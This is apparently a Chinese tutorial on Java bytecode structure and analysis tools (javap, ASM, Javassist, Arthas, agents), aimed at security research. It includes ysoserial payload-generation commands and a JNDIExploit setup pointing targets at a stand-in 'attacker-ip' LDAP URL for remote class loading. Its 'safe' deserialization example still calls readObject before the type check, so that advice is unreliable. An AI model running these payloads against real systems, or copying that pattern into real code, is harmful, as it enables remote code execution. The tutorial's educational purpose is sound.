Java 字节码深入分析

字节码是 Java 安全分析的核心。理解字节码结构和指令集,才能识别混淆代码、分析恶意 Payload、
找到反序列化漏洞的利用点。

前置知识Java 逆向工程基础JVM 内存模型


一、Class 文件结构

1.1 二进制格式

ClassFile {
    u4             magic;           // 魔数: 0xCAFEBABE
    u2             minor_version;   // 次版本号
    u2             major_version;   // 主版本号
    u2             constant_pool_count; // 常量池计数
    cp_info        constant_pool[]; // 常量池
    u2             access_flags;    // 访问标志
    u2             this_class;      // 当前类索引
    u2             super_class;     // 父类索引
    u2             interfaces_count; // 接口计数
    u2             interfaces[];    // 接口索引
    u2             fields_count;    // 字段计数
    field_info     fields[];        // 字段表
    u2             methods_count;   // 方法计数
    method_info    methods[];       // 方法表
    u2             attributes_count; // 属性计数
    attribute_info attributes[];    // 属性表
}

1.2 使用 xxd 分析 Class 文件

# 查看 class 文件十六进制
xxd MyClass.class | head -20
 
# 验证魔数
xxd -l 4 MyClass.class
# 00000000: cafe babe 0000 0034 ...
#           ^^^^^^^^ 魔数
 
# 查看版本号
xxd -s 4 -l 2 MyClass.class
# 00000004: 0000 0034
#           ^^^^^^ major version 52 (Java 8)

1.3 版本号对照

主版本号Java 版本
45Java 1.1
46Java 1.2
47Java 1.3
48Java 1.4
49Java 5
50Java 6
51Java 7
52Java 8
53Java 9
54Java 10
55Java 11
56Java 12
57Java 13
58Java 14
59Java 15
60Java 16
61Java 17
62Java 18
63Java 19
64Java 20
65Java 21

二、常量池详解

2.1 常量类型

标志类型说明
1CONSTANT_Utf8UTF-8 编码字符串
3CONSTANT_Integer整型字面量
4CONSTANT_Float浮点字面量
5CONSTANT_Long长整型字面量
6CONSTANT_Double双精度字面量
7CONSTANT_Class类或接口符号引用
8CONSTANT_String字符串字面量
9CONSTANT_Fieldref字段符号引用
10CONSTANT_Methodref方法符号引用
11CONSTANT_InterfaceMethodref接口方法符号引用
12CONSTANT_NameAndType名称和类型描述符
15CONSTANT_MethodHandle方法句柄
16CONSTANT_MethodType方法类型
18CONSTANT_InvokeDynamic动态调用点

2.2 字符串加密检测

// 混淆前
String password = "secret123";
 
// 混淆后(字符串加密)
String password = a.b.c.a("7x8y9z");
// 常量池中只有加密后的字符串
# 检测方法:查看常量池中的字符串
javap -verbose MyClass.class | grep "String"
# 如果看到不合理的字符串,可能是加密后的

三、方法分析

3.1 方法表结构

method_info {
    u2             access_flags;    // 访问标志
    u2             name_index;      // 方法名索引
    u2             descriptor_index; // 描述符索引
    u2             attributes_count; // 属性计数
    attribute_info attributes[];    // 属性表
}

3.2 Code 属性

Code_attribute {
    u2 attribute_name_index;    // "Code"
    u4 attribute_length;
    u2 max_stack;               // 操作数栈最大深度
    u2 max_locals;              // 局部变量表大小
    u4 code_length;             // 字节码长度
    u1 code[];                  // 字节码指令
    u2 exception_table_length;  // 异常表长度
    exception_table_entry exception_table[];
    u2 attributes_count;
    attribute_info attributes[];
}

3.3 使用 ASM 动态分析方法

import org.objectweb.asm.*;
 
public class MethodTracer {
    public static void main(String[] args) throws Exception {
        ClassReader cr = new ClassReader("com.example.service.UserService");
        ClassWriter cw = new ClassWriter(0);
        
        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
            @Override
            public MethodVisitor visitMethod(int access, String name, 
                    String desc, String signature, String[] exceptions) {
                MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
                return new MethodVisitor(Opcodes.ASM9, mv) {
                    @Override
                    public void visitCode() {
                        // 在方法入口插入日志
                        mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/System", 
                            "out", "Ljava/io/PrintStream;");
                        mv.visitLdcInsn("[TRACE] Entering: " + name);
                        mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, 
                            "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
                        super.visitCode();
                    }
                };
            }
        };
        
        cr.accept(cv, 0);
        byte[] modifiedClass = cw.toByteArray();
        // 保存或加载修改后的类
    }
}

四、动态分析技术

4.1 Java Agent 字节码注入

import java.lang.instrument.*;
 
public class MyAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer(new ClassFileTransformer() {
            @Override
            public byte[] transform(ClassLoader loader, String className,
                    Class<?> classBeingRedefined,
                    ProtectionDomain protectionDomain,
                    byte[] classfileBuffer) {
                if (className.contains("UserService")) {
                    System.out.println("[AGENT] Transforming: " + className);
                    // 在这里修改字节码
                    return modifiedBytes;
                }
                return null;
            }
        });
    }
}
# 使用 Agent
java -javaagent:myagent.jar -jar app.jar
 
# MANIFEST.MF 配置
Premain-Class: com.example.MyAgent
Can-Redefine-Classes: true

4.2 使用 Arthas 在线诊断

# 启动 Arthas
java -jar arthas-boot.jar
 
# 查看类加载信息
sc -d com.example.service.UserService
 
# 反编译正在运行的类
jad com.example.service.UserService
 
# 监控方法调用
watch com.example.service.UserService login '{params, returnObj}' -x 2
 
# 追踪方法调用栈
trace com.example.service.UserService login
 
# 查看方法执行时间
monitor com.example.service.UserService login -c 5

4.3 使用 Javassist 修改字节码

import javassist.*;
 
public class BytecodeModifier {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("com.example.service.UserService");
        
        // 添加方法
        CtMethod method = CtMethod.make(
            "public void logAccess(String user) {" +
            "  System.out.println(\"Access: \" + user);" +
            "}", cc);
        cc.addMethod(method);
        
        // 修改现有方法
        CtMethod login = cc.getDeclaredMethod("login");
        login.insertBefore(
            "System.out.println(\"Login attempt: \" + $1);"
        );
        
        cc.writeFile("./modified/");
    }
}

五、实战:分析恶意 Java Payload

5.1 分析 ysoserial 生成的 Payload

# 生成 CommonsCollections1 payload
java -jar ysoserial-all.jar CommonsCollections1 "id" > payload.bin
 
# 查看 payload 中的类
javap -c payload.bin 2>/dev/null || echo "不是标准 class 文件"
 
# 使用 Jadx 分析
jadx -d ./payload_analysis payload.bin
 
# 查找关键调用链
grep -r "Runtime.exec\|ProcessBuilder" ./payload_analysis/

5.2 识别反序列化入口点

// 搜索代码中的 ObjectInputStream 使用
// 危险模式:
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();  // ← 这里是入口点
 
// 安全模式:
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();
if (obj instanceof SafeClass) {  // ← 类型检查
    process((SafeClass) obj);
}

5.3 使用 JNDIExploit 分析 JNDI 注入

# 启动 LDAP/RMI 服务
java -jar JNDIExploit.jar -i attacker-ip -l 1389
 
# 目标触发 JNDI 查找
# ldap://attacker-ip:1389/Basic/Command/calc
 
# 分析流程:
# 1. 目标应用收到恶意 JNDI URL
# 2. LDAP 服务返回引用,指向远程类
# 3. 目标 JVM 加载并实例化远程类
# 4. 静态代码块执行(通常是命令执行)

六、字节码分析速查

操作工具/命令
查看 class 结构javap -verbose MyClass.class
反编译整个 jarjava -jar cfr.jar app.jar
查看十六进制xxd MyClass.class
动态 Hookfrida -U -l hook.js app
在线诊断arthas-boot.jar
生成 Payloadjava -jar ysoserial-all.jar CommonsCollections1 "cmd"
字节码操作ASM / Javassist / ByteBuddy
Android 反编译jadx app.apk

七、与 Java 主教程的关联

本章主题Java 主教程章节
Class 文件格式06_JVM内存模型
常量池06_JVM内存模型
字节码指令06_JVM内存模型
类加载器02_注解与反射
反射机制02_注解与反射
序列化17_文件IO

深入建议:字节码分析是逆向工程的基础技能。建议配合 JVM 内存模型 一起学习,
理解字节码如何映射到 JVM 的执行引擎。